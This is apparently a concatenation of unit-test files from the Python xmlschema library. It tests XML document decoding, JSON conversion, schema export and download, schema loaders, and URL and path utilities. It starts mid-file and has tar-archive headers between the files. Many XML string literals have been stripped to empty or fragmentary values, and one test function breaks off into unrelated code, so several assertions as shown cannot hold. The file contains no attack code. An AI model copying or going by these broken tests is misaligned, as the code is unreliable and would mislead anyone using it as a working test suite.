XMLSchema10(self.col_xsd_file) self.assertEqual(xml_document.decode(), col_schema.decode(xml_file, validation='lax')[0]) xml_document = XmlDocument(xml_file, validation='skip') self.assertEqual(xml_document.decode(), col_schema.decode(xml_file, validation='skip')) self.assertEqual(xml_document.decode(validation='lax'), col_schema.decode(xml_file, validation='lax')[0]) def test_xml_document_decode_without_schema(self): xml_document = XmlDocument('', validation='skip') self.assertIsNone(xml_document.decode(strip_namespaces=True)) self.assertEqual(xml_document.decode(), {'@xmlns:x': 'ns'}) xml_document = XmlDocument( '10', validation='skip' ) self.assertEqual(xml_document.decode(), { '@xmlns:x': 'ns', '@a': 'true', 'b1': ['10'], 'b2': [None] }) def test_xml_document_decode_with_xsi_type(self): xml_data = '10'.format(XSI_NAMESPACE, XSD_NAMESPACE) xml_document = XmlDocument(xml_data) self.assertEqual(xml_document.decode(), {'@xmlns:xsi': 'http://www.w3.org/2001/XMLSchema-instance', '@xmlns:xs': 'http://www.w3.org/2001/XMLSchema', '@xsi:type': 'xs:integer', '$': 10}) def test_xml_document_to_json(self): xml_document = XmlDocument(self.col_xml_file, lazy=True) json_data = xml_document.to_json() self.assertIsInstance(json_data, str) self.assertIn('"@xmlns:col"', json_data) self.assertIn(r'"name": "Joan Mir\u00f3"', json_data) self.assertEqual(xml_document.to_json(validation='lax')[0], json_data) self.assertEqual(xml_document.to_json(namespaces=None), json_data) with self.assertRaises(TypeError) as ctx: xml_document.to_json(decimal_type=Decimal) self.assertIn("is not JSON serializable", str(ctx.exception)) fp = io.StringIO() xml_document.to_json(fp=fp) self.assertEqual(fp.getvalue(), json_data) fp.close() fp = io.StringIO() self.assertEqual(xml_document.to_json(fp=fp, validation='lax'), ()) self.assertEqual(fp.getvalue(), json_data) fp.close() col_1_error_xml_file = self.casepath('examples/collection/collection-1_error.xml') xml_document = XmlDocument(col_1_error_xml_file, validation='lax') json_data, errors = xml_document.to_json() self.assertEqual(len(errors), 1) self.assertIsInstance(errors[0], XMLSchemaDecodeError) self.assertIn('"position": null', json_data) xml_document = XmlDocument(col_1_error_xml_file, validation='lax', lazy=True) json_data, errors = xml_document.to_json(json_options={'default': lambda x: None}) self.assertEqual(len(errors), 0) self.assertIn('"object": [null, null]', json_data) def test_xml_document_write(self): with tempfile.TemporaryDirectory() as dirname: col_file_path = pathlib.Path(dirname).joinpath('collection.xml') xml_document = XmlDocument(self.col_xml_file) with col_file_path.open(mode='wb') as fp: xml_document.write(fp) schema = XMLSchema10(self.col_xsd_file) xml_document = XmlDocument(str(col_file_path), schema=schema) self.assertEqual(xml_document.root.tag, '{http://example.com/ns/collection}collection') self.assertIs(xml_document.schema, schema) col_file_path.unlink() xml_document.write(str(col_file_path)) xml_document = XmlDocument(str(col_file_path), schema=schema) self.assertIs(xml_document.schema, schema) col_file_path.unlink() xml_document.write(str(col_file_path), encoding='unicode') xml_document = XmlDocument(str(col_file_path), schema=schema) self.assertIs(xml_document.schema, schema) col_file_path.unlink() # Remapping default namespace can invalidate elements defined as unqualified. xml_document.write(str(col_file_path), default_namespace="http://example.com/ns/collection") xml_document = XmlDocument(str(col_file_path), schema=schema) self.assertIs(xml_document.schema, schema) if lxml_etree is not None: col_file_path.unlink() col_etree_document = lxml_etree.parse(self.col_xml_file) xml_document = XmlDocument(col_etree_document, base_url=self.col_dir) xml_document.write(str(col_file_path), default_namespace="http://example.com/ns/collection") xml_document = XmlDocument(str(col_file_path), schema=schema) self.assertIs(xml_document.schema, schema) col_file_path.unlink() xml_document = XmlDocument(self.col_xml_file, lazy=True) with self.assertRaises(XMLResourceError) as ctx: xml_document.write(str(col_file_path)) self.assertEqual(str(ctx.exception), "cannot serialize a lazy XML resource") def test_xml_document_etree_interface(self): xml_document = XmlDocument(self.vh_xml_file) self.assertIs(xml_document.getroot(), xml_document.root) self.assertTrue(is_etree_element(xml_document.getroot())) self.assertTrue(is_etree_document(xml_document.get_etree_document())) xml_document = XmlDocument(self.vh_xml_file, lazy=1) with self.assertRaises(XMLResourceError) as ctx: xml_document.get_etree_document() self.assertIn('cannot create an ElementTree instance from a lazy XML resource', str(ctx.exception)) vh_tree = ElementTree.parse(self.vh_xml_file) xml_document = XmlDocument(vh_tree, base_url=self.vh_dir) self.assertIs(xml_document.source, vh_tree) self.assertIs(xml_document.get_etree_document(), vh_tree) @unittest.skipIf(lxml_etree is None, "Skip: lxml is not available.") def test_xml_document_with_lxml(self): vh_tree = lxml_etree.parse(self.vh_xml_file) xml_document = XmlDocument(vh_tree, base_url=self.vh_dir) self.assertIs(xml_document.get_etree_document(), vh_tree) xml_document = XmlDocument(vh_tree.getroot(), base_url=self.vh_dir) etree_document = xml_document.get_etree_document() self.assertIsNot(etree_document, vh_tree) self.assertTrue(is_etree_document(etree_document)) self.assertTrue(hasattr(etree_document, 'xpath')) self.assertTrue(hasattr(etree_document, 'xslt')) xml_document = XmlDocument(self.vh_xml_file, iterparse=lxml_etree.iterparse) self.assertTrue(is_etree_element(xml_document.root)) self.assertTrue(hasattr(xml_document.root, 'xpath')) def test_xml_document_tostring(self): xml_document = XmlDocument(self.vh_xml_file) self.assertTrue(xml_document.tostring().startswith(' """) self.assertTrue(is_valid(valid_xsd)) invalid_xsd = dedent("""\ """) self.assertFalse(is_valid(invalid_xsd)) obj = to_dict(valid_xsd) self.assertDictEqual(obj, { '@xmlns:xs': 'http://www.w3.org/2001/XMLSchema', '@targetNamespace': 'http://example.com/ns/collection', '@finalDefault': [], '@blockDefault': [], '@attributeFormDefault': 'unqualified', '@elementFormDefault': 'unqualified', 'xs:element': {'@name': 'collection', '@abstract': False, '@nillable': False}}) root = XMLSchema10.meta_schema.encode(obj) self.assertTrue(hasattr(root, 'tag')) self.assertEqual(root.tag, '{http://www.w3.org/2001/XMLSchema}schema') if __name__ == '__main__': run_xmlschema_tests('XML documents') xmlschema-4.1.0/tests/test_exports.py000066400000000000000000000401371502040105500177510ustar00rootroot00000000000000#!/usr/bin/env python # # Copyright (c), 2016-2024, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato # import unittest import filecmp import glob import os import re import pathlib import platform import tempfile import warnings from xmlschema import XMLSchema10, XMLSchema11 from xmlschema.exports import download_schemas from xmlschema.testing import SKIP_REMOTE_TESTS, XMLSchemaTestCase, run_xmlschema_tests class TestExports(XMLSchemaTestCase): cases_dir = pathlib.Path(__file__).absolute().parent.joinpath('test_cases') @classmethod def setUpClass(cls): cls.vh_dir = cls.casepath('examples/vehicles') cls.vh_xsd_file = vh_xsd_file = cls.casepath('examples/vehicles/vehicles.xsd') cls.vh_xml_file = cls.casepath('examples/vehicles/vehicles.xml') cls.vh_schema = cls.schema_class(vh_xsd_file) def test_export_errors__issue_187(self): with self.assertRaises(ValueError) as ctx: self.vh_schema.export(target=self.vh_dir) self.assertIn("target directory", str(ctx.exception)) self.assertIn("is not empty", str(ctx.exception)) with self.assertRaises(ValueError) as ctx: self.vh_schema.export(target=self.vh_xsd_file) self.assertIn("target", str(ctx.exception)) self.assertIn("is not a directory", str(ctx.exception)) with self.assertRaises(ValueError) as ctx: self.vh_schema.export(target=self.vh_xsd_file + '/target') self.assertIn("target parent", str(ctx.exception)) self.assertIn("is not a directory", str(ctx.exception)) with tempfile.TemporaryDirectory() as dirname: with self.assertRaises(ValueError) as ctx: self.vh_schema.export(target=dirname + 'subdir/target') self.assertIn("target parent directory", str(ctx.exception)) self.assertIn("does not exist", str(ctx.exception)) def test_export_same_directory__issue_187(self): with tempfile.TemporaryDirectory() as dirname: self.vh_schema.export(target=dirname) for filename in os.listdir(dirname): with pathlib.Path(dirname).joinpath(filename).open() as fp: exported_schema = fp.read() with pathlib.Path(self.vh_dir).joinpath(filename).open() as fp: original_schema = fp.read() if platform.system() == 'Windows': exported_schema = re.sub(r'\s+', '', exported_schema) original_schema = re.sub(r'\s+', '', original_schema) self.assertEqual(exported_schema, original_schema) self.assertFalse(os.path.isdir(dirname)) def test_export_another_directory__issue_187(self): vh_schema_file = self.casepath('issues/issue_187/issue_187_1.xsd') vh_schema = self.schema_class(vh_schema_file) with tempfile.TemporaryDirectory() as dirname: vh_schema.export(target=dirname) path = pathlib.Path(dirname).joinpath('examples/vehicles/*.xsd') for filename in glob.iglob(pathname=str(path)): with pathlib.Path(dirname).joinpath(filename).open() as fp: exported_schema = fp.read() basename = os.path.basename(filename) with pathlib.Path(self.vh_dir).joinpath(basename).open() as fp: original_schema = fp.read() if platform.system() == 'Windows': exported_schema = re.sub(r'\s+', '', exported_schema) original_schema = re.sub(r'\s+', '', original_schema) self.assertEqual(exported_schema, original_schema) with pathlib.Path(dirname).joinpath('issue_187_1.xsd').open() as fp: exported_schema = fp.read() with open(vh_schema_file) as fp: original_schema = fp.read() if platform.system() == 'Windows': exported_schema = re.sub(r'\s+', '', exported_schema) original_schema = re.sub(r'\s+', '', original_schema) self.assertNotEqual(exported_schema, original_schema) if platform.system() != 'Windows': repl = str(pathlib.Path('file').joinpath(str(self.cases_dir).lstrip('/'))) self.assertEqual( exported_schema, original_schema.replace('../..', repl) ) schema_file = pathlib.Path(dirname).joinpath('issue_187_1.xsd') schema = self.schema_class(schema_file) ns_schemas = schema.maps.namespaces['http://example.com/vehicles'] self.assertEqual(len(ns_schemas), 4) self.assertEqual(ns_schemas[0].name, 'issue_187_1.xsd') self.assertEqual(ns_schemas[1].name, 'cars.xsd') self.assertEqual(ns_schemas[2].name, 'types.xsd') self.assertEqual(ns_schemas[3].name, 'bikes.xsd') self.assertFalse(os.path.isdir(dirname)) @unittest.skipIf(SKIP_REMOTE_TESTS, "Remote networks are not accessible.") def test_export_remote__issue_187(self): vh_schema_file = self.casepath('issues/issue_187/issue_187_2.xsd') vh_schema = self.schema_class(vh_schema_file) with tempfile.TemporaryDirectory() as dirname: vh_schema.export(target=dirname) with pathlib.Path(dirname).joinpath('issue_187_2.xsd').open() as fp: exported_schema = fp.read() with open(vh_schema_file) as fp: original_schema = fp.read() if platform.system() == 'Windows': exported_schema = re.sub(r'\s+', '', exported_schema) original_schema = re.sub(r'\s+', '', original_schema) self.assertEqual(exported_schema, original_schema) self.assertFalse(os.path.isdir(dirname)) with tempfile.TemporaryDirectory() as dirname: vh_schema.export(target=dirname, save_remote=True) path = pathlib.Path(dirname).joinpath('brunato/xmlschema/master/tests/test_cases/' 'examples/vehicles/*.xsd') for filename in glob.iglob(pathname=str(path)): with pathlib.Path(dirname).joinpath(filename).open() as fp: exported_schema = fp.read() basename = os.path.basename(filename) with pathlib.Path(self.vh_dir).joinpath(basename).open() as fp: original_schema = fp.read() self.assertEqual(exported_schema, original_schema) with pathlib.Path(dirname).joinpath('issue_187_2.xsd').open() as fp: exported_schema = fp.read() with open(vh_schema_file) as fp: original_schema = fp.read() if platform.system() == 'Windows': exported_schema = re.sub(r'\s+', '', exported_schema) original_schema = re.sub(r'\s+', '', original_schema) self.assertNotEqual(exported_schema, original_schema) self.assertNotIn('https://', exported_schema) self.assertEqual( exported_schema, original_schema.replace('https://raw.githubusercontent.com', 'https/raw.githubusercontent.com') ) schema_file = pathlib.Path(dirname).joinpath('issue_187_2.xsd') schema = self.schema_class(schema_file) ns_schemas = schema.maps.namespaces['http://example.com/vehicles'] self.assertEqual(len(ns_schemas), 4) self.assertEqual(ns_schemas[0].name, 'issue_187_2.xsd') self.assertEqual(ns_schemas[1].name, 'cars.xsd') self.assertEqual(ns_schemas[2].name, 'types.xsd') self.assertEqual(ns_schemas[3].name, 'bikes.xsd') self.assertFalse(os.path.isdir(dirname)) # Test with DEBUG logging level with tempfile.TemporaryDirectory() as dirname: with self.assertLogs('xmlschema', level='DEBUG') as ctx: vh_schema.export(target=dirname, save_remote=True, loglevel='DEBUG') self.assertGreater(len(ctx.output), 0) self.assertTrue(any('Write modified ' in line for line in ctx.output)) self.assertTrue(any('Write unchanged ' in line for line in ctx.output)) self.assertFalse(os.path.isdir(dirname)) @unittest.skipIf(platform.system() == 'Windows', 'skip, Windows systems save with ') def test_export_other_encoding(self): schema_file = self.casepath('examples/menĂ¹/menĂ¹.xsd') schema_ascii_file = self.casepath('examples/menĂ¹/menĂ¹-ascii.xsd') schema_cp1252_file = self.casepath('examples/menĂ¹/menĂ¹-cp1252.xsd') schema = self.schema_class(schema_file) with tempfile.TemporaryDirectory() as dirname: schema.export(target=dirname) exported_schema = pathlib.Path(dirname).joinpath('menĂ¹.xsd') self.assertTrue(filecmp.cmp(schema_file, exported_schema)) self.assertFalse(filecmp.cmp(schema_ascii_file, exported_schema)) self.assertFalse(filecmp.cmp(schema_cp1252_file, exported_schema)) schema = self.schema_class(schema_ascii_file) with tempfile.TemporaryDirectory() as dirname: schema.export(target=dirname) exported_schema = pathlib.Path(dirname).joinpath('menĂ¹-ascii.xsd') self.assertFalse(filecmp.cmp(schema_file, exported_schema)) self.assertTrue(filecmp.cmp(schema_ascii_file, exported_schema)) self.assertFalse(filecmp.cmp(schema_cp1252_file, exported_schema)) schema = self.schema_class(schema_cp1252_file) with tempfile.TemporaryDirectory() as dirname: schema.export(target=dirname) exported_schema = pathlib.Path(dirname).joinpath('menĂ¹-cp1252.xsd') self.assertFalse(filecmp.cmp(schema_file, exported_schema)) self.assertFalse(filecmp.cmp(schema_ascii_file, exported_schema)) self.assertTrue(filecmp.cmp(schema_cp1252_file, exported_schema)) def test_export_more_remote_imports__issue_362(self): schema_file = self.casepath('issues/issue_362/issue_362_1.xsd') with warnings.catch_warnings(record=True): warnings.simplefilter("always") schema = self.schema_class(schema_file) self.assertIn('{http://xmlschema.test/tns1}root', schema.maps.elements) self.assertIn('{http://xmlschema.test/tns1}item1', schema.maps.elements) self.assertIn('{http://xmlschema.test/tns2}item2', schema.maps.elements) self.assertIn('{http://xmlschema.test/tns2}item3', schema.maps.elements) with tempfile.TemporaryDirectory() as dirname: schema.export(target=dirname) exported_files = { str(x.relative_to(dirname)).replace('\\', '/') for x in pathlib.Path(dirname).glob('**/*.xsd') } self.assertSetEqual( exported_files, {'issue_362_1.xsd', 'dir2/issue_362_2.xsd', 'dir1/issue_362_1.xsd', 'dir1/dir2/issue_362_2.xsd', 'issue_362_1.xsd', 'dir2/issue_362_2.xsd', 'dir1/issue_362_1.xsd', 'dir1/dir2/issue_362_2.xsd'} ) schema_file = pathlib.Path(dirname).joinpath('issue_362_1.xsd') schema = self.schema_class(schema_file) self.assertIn('{http://xmlschema.test/tns1}root', schema.maps.elements) self.assertIn('{http://xmlschema.test/tns1}item1', schema.maps.elements) self.assertIn('{http://xmlschema.test/tns2}item2', schema.maps.elements) self.assertIn('{http://xmlschema.test/tns2}item3', schema.maps.elements) class TestExports11(TestExports): schema_class = XMLSchema11 class TestDownloads(XMLSchemaTestCase): cases_dir = pathlib.Path(__file__).absolute().parent.joinpath('test_cases') @classmethod def setUpClass(cls): cls.vh_dir = cls.casepath('examples/vehicles') cls.vh_xsd_file = cls.casepath('examples/vehicles/vehicles.xsd') cls.vh_xml_file = cls.casepath('examples/vehicles/vehicles.xml') def test_download_local_schemas(self): with tempfile.TemporaryDirectory() as dirname: location_map = download_schemas(self.vh_xsd_file, target=dirname, modify=True) self.assertEqual(location_map, {}) xsd_path = pathlib.Path(dirname).joinpath('vehicles.xsd') schema = XMLSchema10(xsd_path) for xs in schema.maps.namespaces['http://example.com/vehicles']: self.assertTrue(xs.url.startswith('file://')) self.assertTrue(pathlib.Path(dirname).joinpath('__init__.py').is_file()) @unittest.skipIf(SKIP_REMOTE_TESTS, "Remote networks are not accessible.") def test_download_local_and_remote_schemas(self): vh_schema_file = self.casepath('issues/issue_187/issue_187_2.xsd') url_common = ('raw.githubusercontent.com/brunato/xmlschema/master/' 'tests/test_cases/examples/vehicles') url_map = { f'https://{url_common}/bikes.xsd': f'https/{url_common}/bikes.xsd', f'https://{url_common}/cars.xsd': f'https/{url_common}/cars.xsd' } with tempfile.TemporaryDirectory() as dirname: location_map = download_schemas(vh_schema_file, target=dirname, modify=True) self.assertEqual(location_map, url_map) xsd_path = pathlib.Path(dirname).joinpath('issue_187_2.xsd') schema = XMLSchema10(xsd_path) for xs in schema.maps.namespaces['http://example.com/vehicles']: self.assertTrue(xs.url.startswith('file://')) self.assertTrue(pathlib.Path(dirname).joinpath('__init__.py').is_file()) with tempfile.TemporaryDirectory() as dirname: location_map = download_schemas(vh_schema_file, target=dirname) self.assertEqual(location_map, url_map) xsd_path = pathlib.Path(dirname).joinpath('issue_187_2.xsd') schema = XMLSchema10(xsd_path) for k, xs in enumerate(schema.maps.namespaces['http://example.com/vehicles']): if k: self.assertTrue(xs.url.startswith('https://')) else: self.assertTrue(xs.url.startswith('file://')) @unittest.skipIf(SKIP_REMOTE_TESTS, "Remote networks are not accessible.") def test_download_remote_schemas(self): url = ("https://raw.githubusercontent.com/brewpoo/" "BeerXML-Standard/master/schema/BeerXML.xsd") with tempfile.TemporaryDirectory() as dirname: location_map = download_schemas(url, target=dirname, modify=True) self.assertEqual(location_map, {}) xsd_files = {x.name for x in pathlib.Path(dirname).glob('*.xsd')} self.assertSetEqual(xsd_files, { 'BeerXML.xsd', 'measureable_units.xsd', 'hops.xsd', 'yeast.xsd', 'mash.xsd', 'style.xsd', 'water.xsd', 'grain.xsd', 'misc.xsd', 'recipes.xsd', 'mash_step.xsd' }) xsd_path = pathlib.Path(dirname).joinpath('BeerXML.xsd') schema = XMLSchema10(xsd_path) for ns in schema.maps.namespaces: if ns.startswith('urn:beerxml:'): for k, xs in enumerate(schema.maps.namespaces[ns]): self.assertEqual(k, 0) self.assertTrue(xs.url.startswith('file://')) def test_download_with_loglevel(self): with tempfile.TemporaryDirectory() as dirname: with self.assertLogs('xmlschema', level='DEBUG') as ctx: download_schemas(self.vh_xsd_file, target=dirname, loglevel='debug') self.assertGreater(len(ctx.output), 10) self.assertFalse(any('Write modified ' in line for line in ctx.output)) self.assertTrue(any('Write unchanged ' in line for line in ctx.output)) if __name__ == '__main__': run_xmlschema_tests('exports.py module') xmlschema-4.1.0/tests/test_files.py000066400000000000000000000062401502040105500173440ustar00rootroot00000000000000#!/usr/bin/env python # # Copyright (c), 2016-2020, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato # """ This module runs tests on XSD or XML files provided by arguments. """ if __name__ == '__main__': import unittest import os import argparse from xmlschema import XMLSchema10, XMLSchema11 from xmlschema.testing import xsd_version_number, defuse_data, \ make_schema_test_class, make_validation_test_class parser = argparse.ArgumentParser(add_help=True) parser.add_argument('--version', dest='version', metavar='VERSION', type=xsd_version_number, default='1.0', help="XSD schema version to use for testing (default is 1.0).") parser.add_argument('--inspect', action="store_true", default=False, help="Inspect using an observed custom schema class.") parser.add_argument('--defuse', metavar='(always, remote, never)', type=defuse_data, default='remote', help="Define when to use the defused XML data loaders. " "Defuse remote data for default.") parser.add_argument('--lxml', dest='lxml', action='store_true', default=False, help='Check also with lxml.etree.XMLSchema (for XSD 1.0)') parser.add_argument( 'files', metavar='[FILE ...]', nargs='*', help='Input files. Each argument can be a file path or a glob pathname. ' 'A "-" stands for standard input. If no arguments are given then processes ' 'all the files included within the scope of the selected applications.' ) args = parser.parse_args() if args.version == '1.0': schema_class = XMLSchema10 check_with_lxml = args.lxml else: schema_class = XMLSchema11 check_with_lxml = False test_num = 1 test_args = argparse.Namespace( errors=0, warnings=0, inspect=args.inspect, locations=(), defuse=args.defuse, skip=False, debug=False ) test_loader = unittest.TestLoader() test_suite = unittest.TestSuite() for test_file in args.files: if not os.path.isfile(test_file): continue elif test_file.endswith('xsd'): test_class = make_schema_test_class( test_file, test_args, test_num, schema_class, check_with_lxml ) test_num += 1 elif test_file.endswith('xml'): test_class = make_validation_test_class( test_file, test_args, test_num, schema_class, check_with_lxml ) test_num += 1 else: continue print(f"Add test {test_class.__name__!r} for file {test_file!r} ...") test_suite.addTest(test_loader.loadTestsFromTestCase(test_class)) if test_num == 1: print("No XSD or XML file to test, exiting ...") else: runner = unittest.TextTestRunner() runner.run(test_suite) xmlschema-4.1.0/tests/test_loaders.py000066400000000000000000000151221502040105500176720ustar00rootroot00000000000000#!/usr/bin/env python # # Copyright (c), 2016-2020, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato # import pathlib import warnings from xmlschema import XMLSchema11 from xmlschema import SchemaLoader, LocationSchemaLoader, SafeSchemaLoader from xmlschema.testing import XMLSchemaTestCase, run_xmlschema_tests from xmlschema import XMLSchemaParseError import xmlschema.names as nm class TestLoadersAPI(XMLSchemaTestCase): cases_dir = pathlib.Path(__file__).absolute().parent.joinpath('test_cases') @classmethod def setUpClass(cls): cls.col_xsd_file = cls.casepath('examples/collection/collection.xsd') cls.schema = cls.schema_class(cls.col_xsd_file) cls.loader = cls.schema.maps.loader def test_get_namespaces(self): self.assertListEqual(self.loader.get_locations('tns'), []) self.assertEqual(len(self.loader.get_locations(nm.XSD_NAMESPACE)), 3) def test_load_declared_schemas(self): with self.assertRaises(ValueError): self.loader.load_declared_schemas(self.schema.meta_schema) xsd_file = self.casepath('loaders/schema4.xsd') with self.assertRaises(XMLSchemaParseError) as ctx: self.schema_class(xsd_file) self.assertIn("the attribute 'namespace' must be different", str(ctx.exception)) xsd_file = self.casepath('loaders/schema5.xsd') with self.assertRaises(XMLSchemaParseError) as ctx: self.schema_class(xsd_file) self.assertIn("differs from what expected", str(ctx.exception)) def test_load_namespace(self): locations = [('http://xmlschema.test/ns', 'unresolved'),] with warnings.catch_warnings(record=True): warnings.simplefilter("ignore") schema = self.schema_class(self.col_xsd_file, locations=locations) num = len(schema.maps.namespaces) schema.load_namespace('http://xmlschema.test/ns') self.assertEqual(num, len(schema.maps.namespaces)) self.assertNotIn('http://xmlschema.test/ns', schema.maps.namespaces) class TestSchemaLoader(XMLSchemaTestCase): cases_dir = pathlib.Path(__file__).absolute().parent.joinpath('test_cases') loader_class = SchemaLoader def test_load_single(self): col_xsd_file = self.casepath('examples/collection/collection.xsd') schema = self.schema_class(col_xsd_file, loader_class=self.loader_class) self.assertIsInstance(schema, self.schema_class) self.assertEqual(len(schema.maps.owned_schemas), 1) self.assertTrue(schema.maps.built) total_globals = schema.maps.global_maps.total self.assertGreater(total_globals, 0) schema.maps.loader.clear() self.assertEqual(len(schema.maps.owned_schemas), 1) schema.build() self.assertEqual(schema.maps.global_maps.total, total_globals) def test_load_composite(self): vh_xsd_file = self.casepath('examples/vehicles/vehicles.xsd') schema = self.schema_class(vh_xsd_file, loader_class=self.loader_class) self.assertIsInstance(schema, self.schema_class) self.assertEqual(len(schema.maps.owned_schemas), 4) self.assertTrue(schema.maps.built) total_globals = schema.maps.global_maps.total self.assertGreater(total_globals, 0) schema.maps.loader.clear() self.assertEqual(len(schema.maps.owned_schemas), 4) schema.build() self.assertEqual(schema.maps.global_maps.total, total_globals) def test_load_case1(self): xsd_file = self.casepath('loaders/schema1.xsd') schema = self.schema_class(xsd_file, loader_class=self.loader_class) self.assertIsInstance(schema, self.schema_class) self.assertEqual(len(schema.maps.owned_schemas), 2) self.assertTrue(schema.maps.built) def test_load_case2(self): xsd_file = self.casepath('loaders/schema2.xsd') schema = self.schema_class(xsd_file, loader_class=self.loader_class) self.assertIsInstance(schema, self.schema_class) self.assertEqual(len(schema.maps.owned_schemas), 2) self.assertTrue(schema.maps.built) def test_load_case3(self): xsd_file = self.casepath('loaders/schema3.xsd') schema = self.schema_class(xsd_file, loader_class=self.loader_class) self.assertIsInstance(schema, self.schema_class) self.assertEqual(len(schema.maps.owned_schemas), 2) self.assertTrue(schema.maps.built) class TestSchemaLoader11(TestSchemaLoader): schema_class = XMLSchema11 class TestLocationSchemaLoader(TestSchemaLoader): loader_class = LocationSchemaLoader def test_load_case1(self): xsd_file = self.casepath('loaders/schema1.xsd') with warnings.catch_warnings(record=True): with self.assertRaises(XMLSchemaParseError): self.schema_class(xsd_file, loader_class=self.loader_class) def test_load_case2(self): xsd_file = self.casepath('loaders/schema2.xsd') with warnings.catch_warnings(record=True): with self.assertRaises(XMLSchemaParseError): self.schema_class(xsd_file, loader_class=self.loader_class) def test_load_case3(self): xsd_file = self.casepath('loaders/schema3.xsd') schema = self.schema_class(xsd_file, loader_class=self.loader_class) self.assertIsInstance(schema, self.schema_class) self.assertEqual(len(schema.maps.owned_schemas), 3) self.assertTrue(schema.maps.built) class TestLocationSchemaLoader11(TestLocationSchemaLoader): schema_class = XMLSchema11 class TestSafeSchemaLoader(TestSchemaLoader): loader_class = SafeSchemaLoader def test_load_case2(self): xsd_file = self.casepath('loaders/schema2.xsd') schema = self.schema_class(xsd_file, loader_class=self.loader_class) self.assertIsInstance(schema, self.schema_class) self.assertEqual(len(schema.maps.owned_schemas), 3) self.assertTrue(schema.maps.built) def test_load_case3(self): xsd_file = self.casepath('loaders/schema3.xsd') schema = self.schema_class(xsd_file, loader_class=self.loader_class) self.assertIsInstance(schema, self.schema_class) self.assertEqual(len(schema.maps.owned_schemas), 3) self.assertTrue(schema.maps.built) class TestSafeSchemaLoader11(TestSafeSchemaLoader): schema_class = XMLSchema11 if __name__ == '__main__': run_xmlschema_tests("loaders.py module") xmlschema-4.1.0/tests/test_locations.py000066400000000000000000001047711502040105500202450ustar00rootroot00000000000000#!/usr/bin/env python # # Copyright (c), 2016-2020, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato # import unittest import sys import os import pathlib import platform import warnings from urllib.parse import urlsplit from urllib.request import pathname2url from pathlib import Path, PurePath, PureWindowsPath, PurePosixPath from unittest.mock import patch, MagicMock from xmlschema.testing import XMLSchemaTestCase, run_xmlschema_tests from xmlschema.utils.paths import DRIVE_LETTERS, get_uri, get_uri_path, is_unc_path, \ is_drive_path, LocationPath, LocationPosixPath, LocationWindowsPath from xmlschema.utils.urls import is_url, is_local_url, is_remote_url, is_encoded_url, \ is_safe_url, encode_url, decode_url, location_is_file, normalize_url, normalize_locations, \ match_location import xmlschema.utils.urls DRIVE_REGEX = '(/[a-zA-Z]:|)' if platform.system() == 'Windows' else '' XML_WITH_NAMESPACES = '\n' \ ' \n' \ '' URL_CASES = ( 'file:///c:/Downloads/file.xsd', 'file:///tmp/xmlschema/schemas/VC/XMLSchema-versioning.xsd', 'file:///tmp/xmlschema/schemas/XSD_1.1/xsd11-extra.xsd', 'issue #000.xml', 'dev/XMLSCHEMA/test.xsd', 'file:///tmp/xmlschema/schemas/XSI/XMLSchema-instance.xsd', 'vehicles.xsd', 'file://filer01/MY_HOME/', '//anaconda/envs/testenv/lib/python3.6/site-packages/xmlschema/validators/schemas/', 'z:\\Dir-1.0\\Dir-2_0\\', 'https://host/path?name=2&id=', 'data.xml', 'alpha', 'other.xsd?id=2', '\\\\filer01\\MY_HOME\\', '//root/dir1', '/tmp/xmlschema/schemas/XSD_1.1/xsd11-extra.xsd', '/tmp/xmlschema/schemas/VC/XMLSchema-versioning.xsd', '\\\\host\\share\\file.xsd', 'https://example.com/xsd/other_schema.xsd', '/tmp/tests/test_cases/examples/collection/collection.xml', 'XMLSchema.xsd', 'file:///c:/Windows/unknown', 'k:\\Dir3\\schema.xsd', '/tmp/tests/test_cases/examples/collection', 'file:other.xsd', 'issue%20%23000.xml', '\\\\filer01\\MY_HOME\\dev\\XMLSCHEMA\\test.xsd', 'http://site/base', 'dir2/schema.xsd', '//root/dir1/schema.xsd', 'file:///tmp/xmlschema/schemas/XML/xml.xsd', 'https://site/base', 'file:///home#attribute', '/dir1/dir2/issue%20%23002', '////root/dir1/schema.xsd', '/tmp/xmlschema/schemas/XSD_1.1/XMLSchema.xsd', '/tmp/xmlschema/schemas/XML/xml.xsd', '/tmp/xmlschema/schemas/XSD_1.0/XMLSchema.xsd', 'file:///home/', '////root/dir1', '//root/dir1/', 'file:///home', 'other.xsd', 'file:///tmp/tests/test_cases/examples/collection/collection.xml', 'file://host/home/', 'dummy path.xsd', 'other.xsd#element', 'z:\\Dir_1_0\\Dir2-0\\schemas/XSD_1.0/XMLSchema.xsd', 'd:/a/xmlschema/xmlschema/tests/test_cases/examples/', 'https://xmlschema.test/schema 2/test.xsd?name=2 id=3', 'xsd1.0/schema.xsd', '/home', 'schema.xsd', 'dev\\XMLSCHEMA\\test.xsd', '../dir1/./dir2', 'beta', '/tmp/xmlschema/schemas/XSI/XMLSchema-instance.xsd', 'file:///dir1/dir2/', 'file:///dir1/dir2/issue%20001', '/root/dir1/schema.xsd', 'file:///tmp/xmlschema/schemas/XSD_1.1', '/path/schema 2/test.xsd?name=2 id=3', 'file:////filer01/MY_HOME/', 'file:///home?name=2&id=', 'http://example.com/beta', '/home/user', 'file:///\\k:\\Dir A\\schema.xsd' ) def is_windows_path(path): """Checks if the path argument is a Windows platform path.""" return '\\' in path or ':' in path or '|' in path def add_leading_slash(path): return '/' + path if path and path[0] not in ('/', '\\') else path def filter_windows_path(path): if path.startswith('/\\'): return path[1:] elif path and path[0] not in ('/', '\\'): return '/' + path else: return path # noinspection PyArgumentList def uri_from_path(path, suppress_warning=True): if sys.version_info >= (3, 14) and not suppress_warning: return pathname2url(str(path), add_scheme=True) # The result is different!! with warnings.catch_warnings(): warnings.simplefilter("ignore") return path.as_uri() class TestLocations(XMLSchemaTestCase): cases_dir = pathlib.Path(__file__).absolute().parent.joinpath('test_cases') @classmethod def setUpClass(cls): cls.col_dir = cls.casepath('examples/collection') cls.col_xsd_file = 